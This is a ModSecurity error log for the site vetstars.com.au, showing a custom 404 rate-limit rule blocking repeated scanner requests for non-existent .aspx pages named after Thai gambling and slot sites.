[Tue Jan 27 21:36:08.745142 2026] [:error] [pid 48412:tid 48415] [client 54.36.60.91:49426] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AA%E0%B8%A1%E0%B8%B2%E0%B8%8A%E0%B8%B4%E0%B8%81%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXi_SHbJMfAKlln88JEPRwAAAUE"]
[Tue Jan 27 21:36:11.237173 2026] [:error] [pid 48528:tid 48544] [client 54.36.60.91:49442] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%84%E0%B8%97%E0%B8%A2%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXi_SwOGRrquT9N7CZp6-AAAAg4"]
[Tue Jan 27 21:36:13.863734 2026] [:error] [pid 48662:tid 48685] [client 54.36.60.91:53248] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXi_TeD8iESUP9uRiRP4UwAAApE"]
[Tue Jan 27 21:36:56.327139 2026] [:error] [pid 38987:tid 39002] [client 54.36.60.91:53260] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXi_eKTH0bU76Ifu_Xc0WQAAAAw"]
[Tue Jan 27 21:36:58.847305 2026] [:error] [pid 7561:tid 7580] [client 54.36.60.91:51192] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050.aspx"] [unique_id "aXi_erXGI6mgvHQqkXzhPQAAANA"]
[Tue Jan 27 21:37:01.336759 2026] [:error] [pid 7453:tid 7498] [client 54.36.60.91:51204] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet%2010%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXi_fRfsyA2ws_ADquiq9wAAAEk"]
[Tue Jan 27 21:37:03.970921 2026] [:error] [pid 39016:tid 39045] [client 54.36.60.91:59048] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotpg.aspx"] [unique_id "aXi_f_B6_y9crthwy8qylgAAAtg"]
[Tue Jan 27 21:37:06.439776 2026] [:error] [pid 38987:tid 39008] [client 54.36.60.91:59060] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXi_gqTH0bU76Ifu_Xc0XwAAABI"]
[Tue Jan 27 21:37:09.058776 2026] [:error] [pid 7453:tid 7508] [client 54.36.60.91:59072] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXi_hRfsyA2ws_ADquiq_wAAAFM"]
[Tue Jan 27 21:37:11.535092 2026] [:error] [pid 7561:tid 7578] [client 54.36.60.91:59076] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXi_h7XGI6mgvHQqkXzhRgAAAM4"]
[Tue Jan 27 21:37:14.018437 2026] [:error] [pid 48412:tid 48422] [client 54.36.60.91:54964] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXi_inbJMfAKlln88JEPtQAAAUg"]
[Tue Jan 27 21:37:16.337804 2026] [:error] [pid 39016:tid 39033] [client 54.36.60.91:54970] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXi_jPB6_y9crthwy8qymwAAAsw"]
[Tue Jan 27 21:37:18.816800 2026] [:error] [pid 39016:tid 39030] [client 54.36.60.91:54972] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A.aspx"] [unique_id "aXi_jvB6_y9crthwy8qynQAAAsk"]
[Tue Jan 27 21:37:21.457291 2026] [:error] [pid 7453:tid 7507] [client 54.36.60.91:54988] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXi_kRfsyA2ws_ADquirBQAAAFI"]
[Tue Jan 27 21:37:23.929416 2026] [:error] [pid 48528:tid 48535] [client 54.36.60.91:60202] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aXi_kwOGRrquT9N7CZp7MgAAAgU"]
[Tue Jan 27 21:37:26.562065 2026] [:error] [pid 38987:tid 39001] [client 54.36.60.91:60204] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aXi_lqTH0bU76Ifu_Xc0fgAAAAs"]
[Tue Jan 27 21:37:29.038917 2026] [:error] [pid 39016:tid 39043] [client 54.36.60.91:60206] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot.aspx"] [unique_id "aXi_mfB6_y9crthwy8qypAAAAtY"]
[Tue Jan 27 21:37:31.656897 2026] [:error] [pid 7453:tid 7496] [client 54.36.60.91:60220] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot1234%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXi_mxfsyA2ws_ADquirCwAAAEc"]
[Tue Jan 27 21:37:34.284319 2026] [:error] [pid 48412:tid 48432] [client 54.36.60.91:51472] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot1234.aspx"] [unique_id "aXi_nnbJMfAKlln88JEPuQAAAVI"]
[Tue Jan 27 21:37:36.908109 2026] [:error] [pid 39017:tid 39054] [client 54.36.60.91:51474] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot777.aspx"] [unique_id "aXi_oM553xt-F_10bG6spgAAAwY"]
[Tue Jan 27 21:37:39.372136 2026] [:error] [pid 7561:tid 7588] [client 54.36.60.91:51478] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot888.aspx"] [unique_id "aXi_o7XGI6mgvHQqkXzhXwAAANg"]
[Tue Jan 27 21:37:41.999819 2026] [:error] [pid 48662:tid 48692] [client 54.36.60.91:51484] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoslotz.aspx"] [unique_id "aXi_peD8iESUP9uRiRP4fQAAApc"]
[Tue Jan 27 23:44:42.004517 2026] [:error] [pid 48412:tid 48416] [client 51.75.119.112:43968] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXjdanbJMfAKlln88JEu3gAAAUI"]
[Tue Jan 27 23:44:42.465707 2026] [:error] [pid 48412:tid 48418] [client 51.75.119.112:56930] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slot%20joker123%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXjdanbJMfAKlln88JEu3wAAAUQ"]
[Tue Jan 27 23:44:44.505517 2026] [:error] [pid 48412:tid 48421] [client 51.75.119.112:35612] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20joker%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXjdbHbJMfAKlln88JEu5AAAAUc"]
[Tue Jan 27 23:44:47.240247 2026] [:error] [pid 48662:tid 48681] [client 51.75.119.112:35624] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slotxo%20888.aspx"] [unique_id "aXjdb-D8iESUP9uRiRMF9gAAAo0"]
[Tue Jan 27 23:44:47.691485 2026] [:error] [pid 7453:tid 7489] [client 51.75.119.112:35626] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20pg.aspx"] [unique_id "aXjdbxfsyA2ws_ADqujB4QAAAEA"]
[Tue Jan 27 23:44:50.229795 2026] [:error] [pid 7561:tid 7586] [client 51.75.119.112:35634] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXjdcrXGI6mgvHQqkXzwugAAANY"]
[Tue Jan 27 23:44:51.060829 2026] [:error] [pid 39017:tid 39071] [client 51.75.119.112:35644] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXjdc8553xt-F_10bG6_1gAAAxc"]
[Tue Jan 27 23:44:53.047165 2026] [:error] [pid 7561:tid 7576] [client 51.75.119.112:59592] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD777.aspx"] [unique_id "aXjddbXGI6mgvHQqkXzwvgAAAMw"]
[Tue Jan 27 23:44:54.552333 2026] [:error] [pid 48662:tid 48670] [client 51.75.119.112:59608] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXjdduD8iESUP9uRiRMF-QAAAoI"]
[Tue Jan 27 23:44:55.737392 2026] [:error] [pid 48446:tid 48479] [client 51.75.119.112:59616] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%8A%E0%B8%B5%E0%B8%A2.aspx"] [unique_id "aXjdd8DRSaZ8F8aaLxm6_wAAAcI"]
[Tue Jan 27 23:44:58.267155 2026] [:error] [pid 39016:tid 39025] [client 51.75.119.112:59620] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slot%20joker123%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXjdevB6_y9crthwy8rCzgAAAsQ"]
[Tue Jan 27 23:44:59.592753 2026] [:error] [pid 7453:tid 7507] [client 51.75.119.112:59630] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet.aspx"] [unique_id "aXjdexfsyA2ws_ADqujB7gAAAFI"]
[Tue Jan 27 23:45:00.765347 2026] [:error] [pid 48412:tid 48427] [client 51.75.119.112:59632] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slotxo%20888.aspx"] [unique_id "aXjdfHbJMfAKlln88JEu9gAAAU0"]
[Tue Jan 27 23:45:04.029646 2026] [:error] [pid 48412:tid 48438] [client 51.75.119.112:51212] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXjdgHbJMfAKlln88JEu-wAAAVg"]
[Tue Jan 27 23:45:04.313161 2026] [:error] [pid 39017:tid 39070] [client 51.75.119.112:51210] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%88%E0%B8%B5%E0%B8%84%E0%B8%A5%E0%B8%B1%E0%B8%9A.aspx"] [unique_id "aXjdgM553xt-F_10bG6_4AAAAxY"]
[Tue Jan 27 23:45:06.501781 2026] [:error] [pid 39017:tid 39058] [client 51.75.119.112:51226] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXjdgs553xt-F_10bG6_4wAAAwo"]
[Tue Jan 27 23:45:08.752187 2026] [:error] [pid 7561:tid 7571] [client 51.75.119.112:51238] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXjdhLXGI6mgvHQqkXzwxAAAAMc"]
[Tue Jan 27 23:45:09.552772 2026] [:error] [pid 48528:tid 48541] [client 51.75.119.112:51250] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet.aspx"] [unique_id "aXjdhQOGRrquT9N7CZqKAAAAAgs"]
[Tue Jan 27 23:45:11.963952 2026] [:error] [pid 48412:tid 48433] [client 51.75.119.112:42412] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%88%E0%B8%B5%E0%B8%84%E0%B8%A5%E0%B8%B1%E0%B8%9A.aspx"] [unique_id "aXjdh3bJMfAKlln88JEvAAAAAVM"]
[Tue Jan 27 23:45:13.006444 2026] [:error] [pid 48412:tid 48432] [client 51.75.119.112:42414] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%9A%E0%B8%97.aspx"] [unique_id "aXjdiXbJMfAKlln88JEvBQAAAVI"]
